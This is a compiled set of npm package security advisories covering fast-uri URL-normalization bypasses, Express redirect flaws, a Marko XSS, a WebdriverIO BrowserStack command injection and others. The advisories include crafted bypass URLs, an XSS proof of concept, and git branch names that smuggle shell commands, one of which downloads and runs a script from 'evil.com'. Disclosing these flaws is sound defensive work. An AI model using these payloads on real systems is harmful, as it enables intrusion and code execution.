Impact

fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.

For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.

Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.

Patches

Upgrade to fast-uri >= 3.1.2.

Workarounds

None. Upgrade to the patched version.

Impact

fast-uri v3.1.0 and earlier decodes percent-encoded path separators (%2F) and dot segments (%2E) before applying dot-segment removal in normalize() and equal(). This makes encoded path data behave like real / and .., so distinct URIs collapse onto the same normalized path.

For example, http://example.com/public/%2e%2e/admin normalizes to http://example.com/admin, and equal() considers them the same URI.

Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.

Patches

Upgrade to fast-uri >= 3.1.1.

Workarounds

None. Upgrade to the patched version.

Impact

fast-uri versions >= 2.3.1, <= 4.0.0 fail to canonicalize Unicode/IDN hostnames for HTTP-family URLs. The IDN conversion path calls URL.domainToASCII(...) on the global WHATWG URL constructor, where that helper does not exist. The resulting TypeError is silently routed into parsed.error, but parse(), normalize(), and equal() all return with the host left in its original Unicode form.

For example, http://127。0。0。1/ is treated by fast-uri as host 127。0。0。1, while Node's WHATWG URL parser and fetch() canonicalize the same input to 127.0.0.1.

Applications that use fast-uri to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or fetch() consumers see a policy/use desync and can be steered to an unintended destination.

Patches

Upgrade to fast-uri v4.0.1, v3.1.3, or v2.4.2

Workarounds

None. Upgrade to the patched version.

fast-uri serializes the port component of a URI without validating it. When recomposing the authority, the userinfo and host components are escaped but the port is concatenated verbatim, so a port value that is not a sequence of digits can inject authority delimiters, demoting the intended host to userinfo and pointing the authority at an attacker-controlled host. Both fast-uri and Node's URL read the result back as the attacker's host with no error, so re-validating the built URI does not catch it. This affects applications that build URIs from parts and assign untrusted data to the port component through the serialize, normalize, or equal functions in their object forms. The issue affects fast-uri versions before 2.4.6, from 3.0.0 before 3.1.7, and from 4.0.0 before 4.1.4. It is fixed in 2.4.6, 3.1.7, and 4.1.4, where recomposeAuthority rejects any port that is not a digit sequence per RFC 3986.

fast-uri accepts a host that contains an unbalanced or misplaced authority bracket without reporting an error. A host that starts with an opening bracket but does not end with a closing bracket is neither validated as an IP literal nor canonicalized as a domain name, so parse() returns it as the host with error undefined, while Node's URL and the HTTP clients built on it resolve the same string to a different host. An application that reads the parsed host to make a host decision, such as an SSRF denylist, a redirect allowlist, or proxy routing, and then passes the original URL to an HTTP client evaluates its policy against a string that is not the host the request reaches. The same host is carried through normalize, equal, and resolve. This affects fast-uri versions 2.4.5, 3.1.6, and 4.1.3, and is fixed in 2.4.6, 3.1.7, and 4.1.4, where parse() reports a malformed host for any host that contains a bracket but is not a valid IPv6 literal.

Impact

fast-uri canonicalizes a host to its ASCII form only when the input carries an explicit scheme. When resolve() resolves a scheme-relative reference (//host/) against a scheme-bearing base, it still emits the host verbatim even though the effective scheme is known, so re-parsing the resolved URI yields a different host than the one resolve() returned. An application that resolves an untrusted reference with fast-uri and then checks or routes on the resulting host can make a policy decision on one host and reach another. This is an incomplete-fix variant of CVE-2026-13676, whose IDN canonicalization was applied only to the scheme-bearing form.

Patches

Upgrade to fast-uri 2.4.5, 3.1.6, or 4.1.3. resolve() now canonicalizes the host once the effective scheme is known, and fails closed if a raw non-ASCII host cannot be converted.

Workarounds

Resolve scheme-relative references against a base that carries a scheme before performing any host-policy or origin check.

Impact

fast-uri does not validate the complete RFC 3986 grammar for bracketed IPv6 literals, so a malformed literal with invalid trailing text is silently truncated to a different valid IPv6 address with no error reported. For example, normalize('http://[::not-valid]/private') returns http://[::]/private, and [fc00::not-hex] and [fe80::not-hex] collapse to [fc00::] and [fe80::]. An application that normalizes an untrusted URL before an outbound request, redirect, or host-policy check can be routed to a local or private address such as loopback (::1), unique-local, or link-local. Because parse().error is unset for these inputs, checking it does not protect the consumer.

Patches

Upgrade to fast-uri 2.4.5, 3.1.6, or 4.1.3. Malformed IPv6 literals are now rejected with a host error instead of being normalized to a valid address.

Workarounds

Reject untrusted URLs whose host is a bracketed IPv6 literal before passing them to fast-uri, or route outbound requests against an explicit allowlist of addresses rather than trusting the normalized host.

Impact

fast-uri decodes a hostname's percent escapes twice in a single normalize() or resolve() call: once during parsing and again during authority recomposition. A nested percent-encoded host therefore survives the first decode and is turned into a live destination by the second, so normalize('http://%256c%256f%2563%2561%256c%2568%256f%2573%2574/') returns http://localhost/. Applications that normalize or resolve an untrusted URI before an SSRF check, redirect validation, or host allowlist can be steered to a different destination, including internal addresses such as loopback or a cloud metadata endpoint, than the encoded input appeared to contain. This is an incomplete-fix variant of CVE-2026-6322, whose encoded-authority-delimiter fix introduced the second decode.

Patches

Fixed in fast-uri 2.4.5, 3.1.6, and 4.1.3.

Workarounds

Reject untrusted URIs whose host component contains an encoded percent sign (%25) before passing them to normalize() or resolve().

Impact

fast-uri decodes percent-encoded characters in the scheme component with the legacy global unescape() and serializes the result back as raw characters, without re-escaping it or validating it as a scheme. A scheme that decodes to characters outside the RFC 3986 scheme grammar can therefore introduce structure the original input did not contain.

For example, %2f%2fevil.example:/pwn parses with no authority (parse().host is undefined), but resolve() and normalize() return //evil.example:/pwn, which reparses with host evil.example. The %uXXXX form (%u002f%u002fevil.example:/pwn) produces the same result, and a scheme containing %0d%0a reaches the output as a raw CR LF.

Applications that normalize or resolve untrusted URLs before a redirect check, host allowlist, or outbound request decision, especially ones that treat a missing authority as same-origin, can be steered to an attacker-chosen authority, and a normalized URI placed in a response header can carry an injected CR LF.

Patches

Upgrade to fast-uri >= 4.1.3, or >= 3.1.6 in the v3.x release line, or >= 2.4.5 in the v2.x release line.

Workarounds

None. Upgrade to the patched version.

Impact

fast-uri v4.1.1 and earlier require a literal // to recognize a URI authority, so a reference that uses \\, /\, or \/ as the authority introducer (in place of //, after an optional scheme) is parsed with no authority: the sequence and everything after it fold into the path. Node's native WHATWG URL (used by fetch(), undici, and Node's http/https clients) instead treats \ as interchangeable with / for special schemes (http, https, ws, wss, ftp, file), so the two parsers extract different hosts from the same input.

For example, fast-uri resolves \\evil.com/path against base https://allowed.com/ to https://allowed.com/%5C%5Cevil.com/path (confined to the trusted host), while Node's WHATWG URL resolves the same reference to https://evil.com/path.

Applications that use fast-uri to enforce host-based policy (allowlists, denylists, loopback/SSRF filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or fetch() consumers see a policy/use desync and can be steered to an unintended destination.

Patches

Upgrade to fast-uri v4.1.2, v3.1.5, v2.4.4.

Workarounds

None. Upgrade to the patched version.

Impact

When body-parser is configured with an invalid limit option value, such as an unparseable string or NaN, bytes.parse() returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service.

This issue affects applications that pass a programmatically computed or user-configurable value to the limit option without validating it first.

Patches

This issue is fixed in body-parser@2.3.0 and body-parser@1.20.6 via #698. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement. null and undefined continue to fall back to the default limit (100kb).

Workarounds

Validate limit before passing it to body-parser. For example, parse the value with bytes.parse() at startup and reject any configuration where it returns null or a non-finite number.

References

- #698: fix PR - bytes.js: limit parser

Impact

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References

Summary

When dynamic text is interpolated into a <script> or <style> tag the Marko runtime failed to prevent tag breakout when the closing tag used non-lowercase casing. An attacker able to place input inside a <script> or <style> block could break out of the tag with </SCRIPT>, </Style>, etc. and inject arbitrary HTML/JavaScript, resulting in cross-site scripting.

Details

The affected helpers used case-sensitive regular expressions to detect attempts at closing the surrounding tag:

js // packages/runtime-tags/src/html/content.ts const unsafeScriptReg = /<\/script/g; const unsafeStyleReg = /<\/style/g;

// packages/runtime-class/src/runtime/html/helpers/escape-script-placeholder.js const unsafeCharsReg = /<\/script/g;

// packages/runtime-class/src/runtime/html/helpers/escape-style-placeholder.js const unsafeCharsReg = /<\/style/g;

HTML tag names are case-insensitive in the browser parser, so inputs such as </SCRIPT>, </Script>, or </sTyLe> were not matched by these regexes and passed through the helpers unchanged. A browser rendering the output treats the mixed-case end tag as a valid closing tag, terminating the script or style context, and then parses anything that follows as HTML.

The Marko compiler routes interpolated values inside <script> and <style> tags through these helpers automatically (see native-tag.ts:1080-1085), so application code following the framework's conventions had no way to detect or compensate for the gap.

PoC

marko $ const userCode = "</SCRIPT><script>alert(1)//"; <script> const data = ${JSON.stringify(userCode)}; </script>

Would yield the following:

html <script>const data = "</SCRIPT><script>alert(1)//";</script>

Which is then parsed in any WHATWG-compliant browser as: html <script>const data = "</script> <script>alert(1)//";</script>

Impact

Cross-site scripting. Any Marko template that explicitly interpolates untrusted data inside a <script> or <style> block is affected.

Stored XSS is trivial if the value originates from any persisted user input (username, profile bio, comment body, etc.) that is later embedded in a script tag during rendering. Exploitation yields arbitrary JavaScript execution in the victim's browser, enabling session token theft, account takeover, and arbitrary actions as the victim.

Since the internal escapescript and escapestyle helpers are the framework's designated defense against script/style tag breakout, applications following standard Marko patterns had no obvious reason to add a second layer of sanitization.

This does not affect scripts or hydration state serialized by Marko itself — only templates that explicitly interpolate untrusted values inside a <script> or <style> tag.

Patch

Commit 19d4b37d0 — fix: html script, style, and comment escaping.

diff - const unsafeScriptReg = /<\/script/g; + const unsafeScriptReg = /<\/script/gi;

- const unsafeStyleReg = /<\/style/g; + const unsafeStyleReg = /<\/style/gi;

The same commit also introduced an escapecomment helper and corresponding escape-comment-placeholder.js, hardening HTML comment escaping as a related preventative fix. Test fixtures were added under escape-script-case, escape-style-case, and escape-comment.

Workarounds

Upgrade to the patched release. As a short-term mitigation on affected versions, pre-sanitize any untrusted data before it reaches a template position rendered inside a <script> or <style> tag — e.g. normalize </script, </style, and their mixed-case variants before interpolation, or avoid direct interpolation of untrusted values inside these tags entirely.

Impact

In express <4.20.0, passing untrusted user input - even after sanitizing it - to response.redirect() may execute untrusted code

Patches

this issue is patched in express 4.20.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template

Impact

passing untrusted user input - even after sanitizing it - to redirect() may execute untrusted code

Patches

this issue is patched in serve-static 1.16.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template

Impact

fast-uri v4.1.0 and earlier do not treat a literal backslash (U+005C) as an authority delimiter. Node's native WHATWG URL (used by fetch(), undici, and Node's http/https clients) normalizes \ to / for special schemes (http, https, ws, wss, ftp, file), so the two parsers extract different hosts from the same input string.

For example, http://evil.com\@allowed.com is treated by fast-uri as host allowed.com with userinfo evil.com\, while Node's WHATWG URL parser and fetch() see host evil.com with path /@allowed.com.

Applications that use fast-uri to enforce host-based policy (allowlists, denylists, loopback/SSRF filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or fetch() consumers see a policy/use desync and can be steered to an unintended destination, including cloud metadata endpoints, loopback, or internal hosts.

Patches

Upgrade to fast-uri v4.1.1, v3.1.4, or v2.4.3.

Workarounds

None. Upgrade to the patched version.

Summary A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source. 3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands

PoC Step 1: Create Malicious Repository Branch git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACKUSERNAME, key: process.env.BROWSERSTACKACCESSKEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } Step 3: Run Tests

bash npm run wdio Step 4: Verify RCE

bash Check if file was created (proof of RCE) ls -la /tmp/pwned.txt

Impact

- Remote Code Execution on CI/CD servers or developer machines - Information Disclosure (environment variables, secrets, credentials) - Data Exfiltration (source code, SSH keys, configuration files) - System Compromise (backdoor installation, lateral movement) - Supply Chain Attack (modify build artifacts)

nvm (Node Version Manager) through 0.40.4 executes arbitrary commands from version strings supplied by the configured Node.js/io.js mirror. Commands such as nvm install read the available versions from the mirror's index.tab and use the selected version, without sanitization, to build download URLs and shell/awk commands. Two sinks are affected by the same untrusted input: nvmdownload() built a curl/wget command string and ran it with eval, so a version field containing command substitution (for example $(id)) was executed by the local shell; and nvmgetchecksum() interpolated the version-derived download slug into an awk program, so a crafted version could execute arbitrary commands via awk's system(). An attacker who controls the configured mirror, supplies mirror content to a user or CI on a non-default mirror, or machine-in-the-middles a non-TLS mirror can ∴ run arbitrary commands with the privileges of the user running nvm. The default mirror (https://nodejs.org over TLS) is not affected. Fixed on master (pending the next tagged release) by passing every argument as a literal argv element instead of using eval, by passing the value to awk as data via -v instead of interpolating it into the program, and by rejecting any version outside the Node.js/io.js version grammar before it is used.

Impact

Versions of Express.js prior to 4.19.2 and pre-release alpha and beta versions before 5.0.0-beta.3 are affected by an open redirect vulnerability using malformed URLs.

When a user of Express performs a redirect using a user-provided URL Express performs an encode using encodeurl on the contents before passing it to the location header. This can cause malformed URLs to be evaluated in unexpected ways by common redirect allow list implementations in Express applications, leading to an Open Redirect via bypass of a properly implemented allow list.

The main method impacted is res.location() but this is also called from within res.redirect().

Patches

https://github.com/expressjs/express/commit/0867302ddbde0e9463d0564fea5861feb708c2dd https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94

An initial fix went out with express@4.19.0, we then patched a feature regression in 4.19.1 and added improved handling for the bypass in 4.19.2.

Workarounds

The fix for this involves pre-parsing the url string with either require('node:url').parse or new URL. These are steps you can take on your own before passing the user input string to res.location or res.redirect.

References

https://github.com/expressjs/express/pull/5539 https://github.com/koajs/koa/issues/1800 https://expressjs.com/en/4x/api.html#res.location

A flaw was found in the express.js npm package of nodejs:14 module stream. Express.js Express is vulnerable to a denial of service caused by a prototype pollution flaw in qs. By adding or modifying properties of Object.prototype using a proto or constructor payload, a remote attacker can cause a denial of service.

kedi ElectronCord is a bot management tool for Discord. Commit aaaeaf4e6c99893827b2eea4dd02f755e1e24041 exposes an account access token in the config.json file. Malicious actors could potentially exploit this vulnerability to gain unauthorized access to sensitive information or perform malicious actions on behalf of the repository owner. As of time of publication, it is unknown whether the owner of the repository has rotated the token or taken other mitigation steps aside from informing users of the situation.

Cross-site scripting (XSS) vulnerability in the serve-index package before 1.6.3 for Node.js allows remote attackers to inject arbitrary web script or HTML via a crafted file or directory name.

In Dijit before versions 1.11.11, and greater than or equal to 1.12.0 and less than 1.12.9, and greater than or equal to 1.13.0 and less than 1.13.8, and greater than or equal to 1.14.0 and less than 1.14.7, and greater than or equal to 1.15.0 and less than 1.15.4, and greater than or equal to 1.16.0 and less than 1.16.3, there is a cross-site scripting vulnerability in the Editor's LinkDialog plugin. This has been fixed in 1.11.11, 1.12.9, 1.13.8, 1.14.7, 1.15.4, 1.16.3.

Withdrawn Advisory This advisory has been withdrawn because RuleTester is used for testing rules during development and results in a error rather than crashing the application.

Original Description

There is a Stack Overflow vulnerability in eslint before 9.26.0 when serializing objects with circular references in eslint/lib/shared/serialization.js. The exploit is triggered via the RuleTester.run() method, which validates test cases and checks for duplicates. During validation, the internal function checkDuplicateTestCase() is called, which in turn uses the isSerializable() function for serialization checks. When a circular reference object is passed in, isSerializable() enters infinite recursion, ultimately causing a Stack Overflow.

A vulnerability has been identified in the Express response.links function, allowing for arbitrary resource injection in the Link header when unsanitized data is used.

The issue arises from improper sanitization in Link header values, which can allow a combination of characters like ,, ;, and <> to preload malicious resources.

This vulnerability is especially relevant for dynamic parameters.

The messageformat package, an implementation of the Unicode MessageFormat 2 specification for JavaScript, is vulnerable to prototype pollution due to improper handling of message key paths in versions prior to 2.3.0. The flaw arises when processing nested message keys containing special characters (e.g., proto ), which can lead to unintended modification of the JavaScript Object prototype. This vulnerability may allow a remote attacker to inject properties into the global object prototype via specially crafted message input, potentially causing denial of service or other undefined behaviors in applications using the affected component.

Impact A random segment of ~1-10kb of Node.js heap memory allocated either side of a known buffer will be leaked into the final executable. This memory could contain sensitive information such as environment variables, secrets files, etc.

Patches This issue is patched in 18.3.1

Workarounds No workarounds, please update to a patched version of @electron/packager immediately if impacated.

The Express web framework before 3.11 and 4.x before 4.5 for Node.js does not provide a charset field in HTTP Content-Type headers in 400 level responses, which might allow remote attackers to conduct cross-site scripting (XSS) attacks via characters in a non-standard encoding.